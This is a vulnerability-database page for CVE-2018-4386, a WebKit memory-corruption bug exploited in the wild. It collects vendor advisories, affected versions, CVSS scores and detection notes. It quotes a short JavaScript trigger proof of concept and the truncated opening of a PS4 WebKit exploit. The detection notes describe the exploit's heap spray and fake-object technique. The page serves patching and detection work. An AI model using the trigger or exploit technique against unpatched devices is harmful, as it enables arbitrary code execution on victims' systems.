CVE-2018-4386
published 2019-04-03CVE-2018-4386: Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari…
PriorityP178high8.8CVSS 3.0
AVNACLPRNUIRSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
6.46%
93.0th percentile
Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8.
Affected
13 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | icloud | < 7.8 | 7.8 |
| apple | icloud_for_windows | — | — |
| apple | ios | — | — |
| apple | iphone_os | < 12.1 | 12.1 |
| apple | itunes | < 12.9.1 | 12.9.1 |
| apple | itunes_12.9.1_for_windows | — | — |
| apple | safari | < 12.0.1 | 12.0.1 |
| apple | safari | — | — |
| apple | tvos | < 12.1 | 12.1 |
| apple | tvos | — | — |
| apple | watchos | < 5.1 | 5.1 |
| apple | watchos | — | — |
| debian | webkit2gtk | < webkit2gtk 2.22.3-1 (bookworm) | webkit2gtk 2.22.3-1 (bookworm) |
Detection & IOCsextracted from sources · hover to see the quote
commandfunction trigger() { let o = {a: 1}; for (var k in o) { { k = 0x1234; function k() { } } o[k]; } } trigger();↗
- →The vulnerability is triggered by hoisting a sloppy-mode function over a for-in loop iteration variable (k), causing the ForInContext to not be invalidated. Detect JavaScript containing a for-in loop where the iteration variable is reassigned to a non-string object and a same-named function declaration exists in the same block scope. ↗
- →The PS4 exploit targets WebKit on firmware versions below 6.72 (fixed in 7.00). Detections should focus on WebKit JSC engine behaviour; the bug was fixed in PS4 firmware 7.00 and Apple platforms iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8. ↗
- →The exploit uses a structure spray of 0x1800 Uint32Array objects with unique property names ('p' + i) to groom the JSC heap. Monitoring for large numbers of Uint32Array allocations with sequentially-named properties in a single JS execution context may indicate exploitation. ↗
- →The exploit crafts a fake Float64Array JSCell header with m_type=0x27 and m_flags=0x18 to achieve type confusion. Detection of crafted JSCell headers with these specific byte values in heap memory may indicate active exploitation. ↗
- →The exploit achieves addrof/fakeobj primitives and arbitrary read/write via a confused Uint32Array (g_confuse_obj['0a']) that overlaps with a fake container object. Look for WebKit crash telemetry or JIT anomalies involving op_get_direct_pname with a non-string property operand. ↗
- ·The PS4 exploit PoC hardcodes m_structureID as a 'current guess' (0x0008 in little-endian), meaning the byte signature for the fake JSCell header is environment-specific and may not match across different WebKit builds or firmware versions. ↗
- ·The exploit is confirmed for PS4 firmware 6.XX but may also work on older firmware versions; reliability on non-PS4 WebKit targets (iOS, Safari, iTunes) is not confirmed by the PoC author. ↗
CVSS provenance
nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv8.8HIGH
vulncheck8.8HIGH
vendor_debian8.8LOW
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
WebKitGTK+ vulnerabilities
vendor_ubuntu·2018-11-27
CVE-2018-4345 WebKitGTK+ vulnerabilities
Title: WebKitGTK+ vulnerabilities
Summary: Several security issues were fixed in WebKitGTK+.
A large number of security issues were discovered in the WebKitGTK+ Web and
JavaScript engines. If a user were tricked into viewing a malicious
website, a remote attacker could exploit a variety of issues related to web
browser security, including cross-site scripting attacks, denial of service
attacks, and arbitrary code execution.
Instructions: This update uses a new upstream release, which includes additional bug
fixes. After a standard system update you need to restart any applications
that use WebKitGTK+, such as Epiphany, to make all the necessary changes.
Apple
CVE-2018-4386: iOS 12.1
vendor_apple·2018-10-30·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: iOS 12.1
Apple Security Update: About the security content of iOS 12.1
Product: iOS
Version: 12.1
CVE: CVE-2018-4386
Component: WebKit
Impact: Processing maliciously crafted web content may lead to arbitrary code execution
Description: Multiple memory corruption issues were addressed with improved memory handling.
Apple
CVE-2018-4386: Safari 12.0.1
vendor_apple·2018-10-30·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: Safari 12.0.1
Apple Security Update: About the security content of Safari 12.0.1
Product: Safari
Version: 12.0.1
CVE: CVE-2018-4386
Component: WebKit
Impact: Processing maliciously crafted web content may lead to arbitrary code execution
Description: Multiple memory corruption issues were addressed with improved memory handling.
Apple
CVE-2018-4386: iTunes 12.9.1 for Windows
vendor_apple·2018-10-30·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: iTunes 12.9.1 for Windows
Apple Security Update: About the security content of iTunes 12.9.1 for Windows
Product: iTunes 12.9.1 for Windows
CVE: CVE-2018-4386
Component: WebKit
Impact: Processing maliciously crafted web content may lead to arbitrary code execution
Description: Multiple memory corruption issues were addressed with improved memory handling.
Apple
CVE-2018-4386: tvOS 12.1
vendor_apple·2018-10-30·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: tvOS 12.1
Apple Security Update: About the security content of tvOS 12.1
Product: tvOS
Version: 12.1
CVE: CVE-2018-4386
Component: WebKit
Impact: Processing maliciously crafted web content may lead to arbitrary code execution
Description: Multiple memory corruption issues were addressed with improved memory handling.
Apple
CVE-2018-4386: watchOS 5.1
vendor_apple·2018-10-30·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: watchOS 5.1
Apple Security Update: About the security content of watchOS 5.1
Product: watchOS
Version: 5.1
CVE: CVE-2018-4386
Component: WebKit
Impact: Processing maliciously crafted web content may lead to arbitrary code execution
Description: Multiple memory corruption issues were addressed with improved memory handling.
Apple
CVE-2018-4386: iCloud for Windows 7.8
vendor_apple·2018-10-30·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: iCloud for Windows 7.8
Apple Security Update: About the security content of iCloud for Windows 7.8
Product: iCloud for Windows
Version: 7.8
CVE: CVE-2018-4386
Component: WebKit
Impact: Processing maliciously crafted web content may lead to arbitrary code execution
Description: Multiple memory corruption issues were addressed with improved memory handling.
Debian
CVE-2018-4386: webkit2gtk - Multiple memory corruption issues were addressed with improved memory handling. ...
vendor_debian·2018·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: webkit2gtk - Multiple memory corruption issues were addressed with improved memory handling. ...
Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8.
Scope: local
bookworm: resolved (fixed in 2.22.3-1)
bullseye: resolved (fixed in 2.22.3-1)
forky: resolved (fixed in 2.22.3-1)
sid: resolved (fixed in 2.22.3-1)
trixie: resolved (fixed in 2.22.3-1)
GHSA
GHSA-pw4f-vm4x-g476: Multiple memory corruption issues were addressed with improved memory handling
ghsa_unreviewed·2022-05-13
CVE-2018-4386 [HIGH] CWE-119 GHSA-pw4f-vm4x-g476: Multiple memory corruption issues were addressed with improved memory handling
Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8.
OSV
CVE-2018-4386: Multiple memory corruption issues were addressed with improved memory handling
osv·2019-04-03·CVSS 8.8
CVE-2018-4386 [HIGH] CVE-2018-4386: Multiple memory corruption issues were addressed with improved memory handling
Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8.
VulnCheck
Apple safari Improper Restriction of Operations within the Bounds of a Memory Buffer
vulncheck·2018·CVSS 8.8
CVE-2018-4386 [HIGH] Apple safari Improper Restriction of Operations within the Bounds of a Memory Buffer
Apple safari Improper Restriction of Operations within the Bounds of a Memory Buffer
Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8.
Affected: Apple safari
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.fortinet.com/content/dam/fortinet/assets/threat-reports/threat-landscape-report-2h-2023.pdf
No detection rules found.
Exploit-DB
Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution (PoC)
exploitdb·2019-12-31·CVSS 8.8
CVE-2018-4386 [HIGH] Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution (PoC)
Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution (PoC)
---
/*
bad_hoist
Exploit implementation of
[CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665).
Obtains addrof/fakeobj and arbitrary read/write primitives.
Supports PS4 consoles on 6.XX. May also work on older firmware versions,
but I am not sure. Bug was fixed in firmware 7.00.
EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47893.zip
*/
var STRUCTURE_SPRAY_SIZE = 0x1800;
var g_confuse_obj = null;
var g_arb_master = null;
var g_arb_slave = new Uint8Array(0x2000);
var g_leaker = {};
var g_leaker_addr = null;
var g_structure_spray = [];
var dub = new Int64(0x41414141, 0x41414141).asDouble();
var g_inline_obj = {
a: dub,
b: dub,
};
functio
Exploit-DB
WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object
exploitdb·2018-11-29
CVE-2018-4386 WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object
WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object
---
/*
This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
PoC:
*/
function trigger() {
let o = {a: 1};
for (var k in o) {
{
k = 0x1234;
function k() {
}
}
o[k];
}
}
trigger();
No writeups or analysis indexed.
http://packetstormsecurity.com/files/155871/Sony-Playstation-4-Webkit-Code-Execution.htmlhttps://support.apple.com/kb/HT209192https://support.apple.com/kb/HT209194https://support.apple.com/kb/HT209195https://support.apple.com/kb/HT209196https://support.apple.com/kb/HT209197https://support.apple.com/kb/HT209198http://packetstormsecurity.com/files/155871/Sony-Playstation-4-Webkit-Code-Execution.htmlhttps://support.apple.com/kb/HT209192https://support.apple.com/kb/HT209194https://support.apple.com/kb/HT209195https://support.apple.com/kb/HT209196https://support.apple.com/kb/HT209197https://support.apple.com/kb/HT209198
2019-04-03
Published
Exploited in the wild